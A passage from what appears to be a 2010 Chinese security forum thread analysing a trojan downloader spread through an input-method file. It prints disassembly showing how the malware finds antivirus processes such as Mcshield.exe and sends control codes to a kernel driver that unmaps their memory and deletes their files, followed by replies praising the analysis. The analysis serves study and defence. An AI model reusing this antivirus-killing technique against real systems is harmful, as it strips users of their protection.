.text:10004657                 test    eax, eax
.text:10004659                 jz      short loc_10004673
.text:1000465B                 lea     eax,
.text:10004661                 push    offset lpszMcshield_exe ; "Mcshield.exe"
.text:10004666                 push    eax
.text:10004667                 call    _lstrcmpi
.text:1000466C                 add     esp, 8
.text:1000466F                 test    eax, eax
.text:10004671                 jnz     short loc_1000468A
.text:10004673 3.找到安全进程来到这里准备发送CONTROLCODE
.text:10004673
.text:10004673 loc_10004673:                           ; CODE XREF: EnumProcess+AEj
.text:10004673                                         ; EnumProcess+CAj ...
.text:10004673                 mov     ecx,
.text:10004679                 push    ecx             ; dwProcessID
.text:1000467A                 push    edi             ; hDevice
.text:1000467B                 call    SendControlCode ; 发送控制码,结束进程
.text:10004680                 push    32h
.text:10004682                 call    _Sleep
.text:10004687                 add     esp, 0Ch
.text:1000468A
.text:1000468A loc_1000468A:                           ; CODE XREF: EnumProcess+291j
.text:1000468A                 lea     edx,
.text:10004690                 push    edx
.text:10004691                 push    esi
.text:10004692                 call    _Process32Next
.text:10004697                 add     esp, 8
.text:1000469A                 test    eax, eax
.text:1000469C                 jnz     loc_10004479
.text:100046A2                 pop     edi
.text:100046A3
.text:100046A3 loc_100046A3:                           ; CODE XREF: EnumProcess+8Fj
.text:100046A3                 push    esi
.text:100046A4                 call    _CloseHandle
.text:100046A9                 push    0

进入SendControlCode看看
1.打开进程
.text:1000428C                 push    eax
.text:1000428D                 push    0
.text:1000428F                 push    410h
.text:10004294                 call    _OpenProcess
.text:10004299                 add     esp, 0Ch
发送ControlCode删除杀毒软件主程序
.text:100042CF                 lea     ecx,
.text:100042D5                 lea     edx,
.text:100042DB                 push    ecx             ; lpString2
.text:100042DC                 push    edx             ; lpString1
.text:100042DD                 call    lstrcatW
.text:100042E3 5.发送控制码删除安装软件主程序文件
.text:100042E3                 mov     esi,
.text:100042E6                 lea     eax,
.text:100042E9                 push    0               ; lpOverlapped
.text:100042EB                 push    eax             ; lpBytesReturned
.text:100042EC                 push    0               ; nOutBufferSize
.text:100042EE                 push    0               ; lpOutBuffer
.text:100042F0                 lea     ecx,
.text:100042F6                 push    200h            ; nInBufferSize
.text:100042FB                 push    ecx             ; lpInBuffer
.text:100042FC                 push    22200Ch         ; dwIoControlCode
.text:10004301                 push    esi             ; hDevice
.text:10004302                 call    DeviceIoControl ; 向驱动发送控制码删除杀毒软件主程序
.text:10004308                 push    0Ah
.text:1000430A                 call    _Sleep
再次发送ControlCode结束安全软件的进程
.text:10004327                 push    eax
.text:10004328                 lea     eax,
.text:1000432B                 push    eax
.text:1000432C                 push    0
.text:1000432E                 push    0
.text:10004330                 lea     ecx,
.text:10004333                 push    4
.text:10004335                 push    ecx
.text:10004336                 push    222008h
.text:1000433B                 push    esi
.text:1000433C                 call    __DeviceIoControl ; 向驱动发送控制码结束杀毒软件进程
.text:10004341                 add     esp, 20h
.text:10004344
.text:10004344 loc_10004344:                           ; CODE XREF: SendControlCode+115j
.text:10004344                 pop     edi
.text:10004345                 pop     esi

bianfeng 发表于 2010-5-28 09:39:00

本帖最后由 bianfeng 于 2010-5-28 09:53 编辑

winnea.ime释放出来的文件pcij.sys分析

由于本人初学安全方面的不久,驱动部分如果涉及违规我将删除驱动部分,毕竟这部分比较敏感。
下面直接分析ControlRoutine例程吧,
调用


结束进程部分
也就是应用程序发送控制码22200Ch实际上干的事
调用PsLookupProcessByProcessId获取EPROCESS结束指针,再调用MmUnmapViewOfSection来结束安全进程
data:00010814                 lea     eax,
.data:00010817                 push    eax
.data:00010818                 mov     ecx,
.data:0001081B                 mov     edx,
.data:0001081D                 push    edx
.data:0001081E                 call    PsLookupProcessByProcessId
.data:00010824                 push    7C920000h
.data:00010829                 mov     eax,
.data:0001082C                 push    eax
.data:0001082D                 call    MmUnmapViewOfSection
.data:00010832                 push    7C930000h
.data:00010837                 mov     ecx,
.data:0001083A                 push    ecx
.data:0001083B                 call    MmUnmapViewOfSection
.data:00010840                 mov     , 0

下面是删除文件部分
控制码222008h
详细的部分我就不说了网上一搜一大把.data:00010854 push 4 ; ShareAccess
.data:00010856 push 80h ; DesiredAccess
.data:0001085B mov edx,
.data:0001085E push edx ; SourceString
.data:0001085F call __IoCreateFile
.data:00010864 mov , eax
.data:00010867 cmp , 0
.data:0001086B jz short loc_10880
.data:0001086D mov eax,
.data:00010870 push eax ; Handle
.data:00010871 call RemoveFile
.data:00010876 mov ecx,
.data:00010879 push ecx ; Handle
.data:0001087A call ZwClose

bianfeng 发表于 2010-5-28 09:52:03

2楼的真快,贴子未发完,回复好快,我怕字符过多,贴子发不了那么字符,才分批发上来的

bbzhu 发表于 2010-5-28 09:54:32

c:\windows\system32\winnea.ime写入垃圾码使文件变大,怕文件太小被用户发现?

是为了防云上传!

electric009 发表于 2010-5-28 10:04:26

很好 很强大 我多给你评分

john 发表于 2010-5-28 10:14:19

分析的很详细。。
谢谢楼主分享。
先置顶后加精

天下无雪 发表于 2010-5-28 11:15:27

楼主的帖子很不错,学习了

ddiiccoo 发表于 2010-5-28 13:01:26

它怎么安装的输入法啊?

flyboyfeng 发表于 2010-5-28 13:06:01

真不错,学习了。

沧海一粟 发表于 2010-5-29 10:18:52

加油↖(^ω^)↗

巨人网络 发表于 2010-5-29 12:33:49

分析的不错,有没有意向做这方面的工作?
http://bbs.unpack.cn/thread-48628-1-1.html

bianfeng 发表于 2010-5-29 18:41:36

不是不想去,我怕不能胜任,从学win32汇编到反汇编尚究竟不足10月

春哥无毒 发表于 2010-6-2 09:50:52

我都忍不住要爆粗口,丫的,太强悍了,
页: [1] 2 3
查看完整版本: 一个输入法注入的木马下载器完全逆向与分析